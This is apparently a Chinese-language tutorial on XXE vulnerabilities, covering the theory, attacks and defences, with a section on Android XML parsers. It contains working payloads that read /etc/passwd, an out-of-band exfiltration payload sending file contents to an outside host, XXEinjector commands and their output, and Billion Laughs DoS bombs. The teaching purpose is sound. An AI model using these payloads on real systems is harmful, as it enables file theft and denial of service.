XXE漏洞攻击和防御

一、简介

近期微信支付SDK爆出了一个严重的XXE漏洞(http://seclists.org/fulldisclosure/2018/Jul/3),可导致商家服务器上的文件被窃取。

XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。在web上愈来愈少,但在一些大家不容易想到的地方还是存在很多,例如之前apktool工具爆出的XXE漏洞用来攻击APK分析人员。

二、漏洞原理

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

upload successful

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

  • 内部声明DTD
1
<!DOCTYPE 根元素 [元素声明]>
  • 引用外部DTD
    1
    2
    3
    <!DOCTYPE 根元素 SYSTEM "文件名">
    //或者
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD文档中有很多重要的关键字如下:

- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)

ENTITY(实体)

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

根据引用方式,实体可分为内部实体、外部实体、参数实体。
完整的实体类别可参考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)

  • 内部实体
1
<!ENTITY 实体名称 "实体的值">
  • 外部实体
1
<!ENTITY 实体名称 SYSTEM "URI">
  • 参数实体
1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意:
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。

参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

以下为一个xml实例:

  • 1.name为内部实体,引用时用的\&name,在xml文档中引用
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]
>

<foo>
<value>&name;</value>
</foo>
  • 2.name为参数实体,声明和引用都使用%,且都在DTD中
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体引用

在DTD中使用外部实体即

1
<!ENTITY 实体名称 SYSTEM "URI">

URL主要有file、http、https、ftp等等,不同的程序支持URI的不一样:

upload successful

外部实体引用实例:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
<value>&content;</value>
</foo>

由于引用了外部实体,这里的URI可以是 http链接、file://本地文件引用等,因此可以加载http指向的资源和本地文件,导致出现了XML解析的安全问题。

三、攻击

XXE的攻击场景或条件

  1. 解析外部提供的XML数据
  2. 未禁用外部实体引用
  3. 解析完xml后返回(非必要)

XXE攻击演示

服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//允许加载外部实体
libxml_disable_entity_loader(false);

//获取xml数据
$xmlfile = file_get_contents("php://input");

//解析并回显
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "user is $user";
?>

攻击代码:

1
2
3
4
5
6
7
8
9
10
POST http://192.168.1.28/xxetest.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

bind XXE(对于没有回显的情况利用参数实体)

攻击代码:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%send;
]>
<foo></foo>

外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容:

1
2
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>">

因为实体的值中不能有 %, 所以将其转成html实体编码

上述过程分析

首先 %remote; 加载 外部 DTD 文件,得到:

1
2
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>">

%int;%send;
接着 %int; 获取对应实体的值,因为值中包含实体引用 %file;, 即 /etc/hosts 文件的内容,得到:

1
2
3
<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=[文件内容]'>

%send;

最后 %send; 获取对应实体的值,会去请求对应 URL 的资源,通过查看访问日志即可得到文件内容,当然这里还需要对内容进行编码,防止XML解析出错.

XXEinjector比较成熟的工具(https://github.com/enjoiz/XXEinjector)

XXEinjector

使用 burp 获取原始正常的请求

1
curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081

xml.txt 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
burp中获取到的请求信息

POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>

在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt,XXEinjector 需要根据原始请求来进行获取文件内容的操作

1
2
3
4
5
6
7
8
9
10
11
12
POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>

运行 XXEinjector

1
sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt  --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter

参数说明

1
2
3
4
5
6
host: 用于反向连接的 IP
path: 要读取的文件或目录
file: 原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置
proxy: 代理服务器,这里使用burp,方便查看发起的请求和响应
oob:使用的协议,支持 http/ftp/gopher,这里使用http
phpfilter:使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题

运行后会输出 payload 和 引用的 DTD 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt  --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter
Password:
XXEinjector by Jakub Pałaczyński

DTD injected.
Enumeration locked.
Sending request with malicious XML:
http://192.168.1.28:80/xmlinject.php
{"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"}

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>

Got request for XML:
GET /file.dtd HTTP/1.0

Responding with XML for: /etc/hosts
XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">

payload为

1
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>

DTD文件为

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">

成功获取到文件

1
2
3
4
5
Response with file/directory content received:
GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0

Enumeration unlocked.
Successfully logged file: /etc/hosts

在Logs目录下有详细的数据。

XXE漏洞利用

1.窃取文件

upload successful

upload successful

有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击

2.RCE(配合其他问题)

upload successful

upload successful

安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

3.内网渗透

端口探测,内网请求等

upload successful

upload successful

XXE案例

1.微信支付SDK

参考:http://seclists.org/fulldisclosure/2018/Jul/3

反例:https://my.oschina.net/kmwzjs/blog/608501?fromerr=DzDfNIhd

2.apktool xxe漏洞

参考:https://security.tencent.com/index.php/blog/msg/122

3.绕过技巧

upload successful

XML其他类型漏洞

1. DoS

  • a和b递归调用
    upload successful

  • xml炸弹(Billion Laughs Attack)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  • xml炸弹(Reference a large file)

    1
    2
    3
    4
    <!DOCTYPE data [
    <!ENTITY dos SYSTEM "http:///somesite.com/largefile.xml">
    ]>
    <data>&dos;</data>

四、防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

过滤关键词:DOCTYPE和ENTITY,或者SYSTEM和PUBLIC。

五、Android上的XXE?

1.DocumentBuilderFactory

在java中默认允许加载外部实体,DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true)之后不会加载外部实体。但同样代码在Android上默认不允许加载,setFeature强制设为false失败。

官方文档中明确说明可以设置FEATURE_SECURE_PROCESSING,但实际代码不可以

参考:
官方文档
https://developer.android.com/reference/javax/xml/parsers/DocumentBuilderFactory#setFeature(java.lang.String,boolean)
实际代码:
https://android.googlesource.com/platform/libcore/+/master/luni/src/main/java/org/apache/harmony/xml/parsers/DocumentBuilderFactoryImpl.java#90

2.XmlPullParser

XmlPullParser是官方文档推荐的xml解析工具,但Android 代码中禁止了外部实体。

早期的KxmlParser和ExpatPullParser是Android早期的xml解析包,后来进行了改动,和XmlPullParser本质上调用的同一套代码。

通过跟踪XmlPullParserFactory发现其最终调用的KXmlParser来解析,(http://androidxref.com/7.1.2_r36/xref/libcore/xml/src/main/java/org/kxml2/io/KXmlParser.java#925),而KXmlParser对于带SYSTEM和PUBLIC两种形式的实体强制置为了empty string。

upload successful

upload successful

upload successful

参考:https://android.googlesource.com/platform/libcore-snapshot/+/ics-mr1/luni/src/test/java/libcore/xml/PullParserDtdTest.java

http://androidxref.com/7.1.2_r36/xref/libcore/xml/src/main/java/org/xmlpull/v1/XmlPullParser.java

3. SAXParserFactory

不支持参数实体

Hint

  • Android不存在XXE? Bypass?
  • XXE多存在于PC平台,开发者并不知情,默认开启的最严重
  • APP中的xml流量?Burpsuit Fuzz ?

参考文档

  1. https://security.tencent.com/index.php/blog/msg/69
  2. https://thief.one/2017/06/20/1/
  3. https://b1ngz.github.io/XXE-learning-note/
  4. 全平台的xml漏洞分析 https://www.usenix.org/system/files/conference/woot16/woot16-paper-spath.pdf
  5. android解析XML总结(SAX、Pull、Dom三种方式) http://www.cnblogs.com/JerryWang1991/archive/2012/02/24/2365507.html
  6. XML External Entity (XXE) Prevention Cheat Sheet https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#XMLReader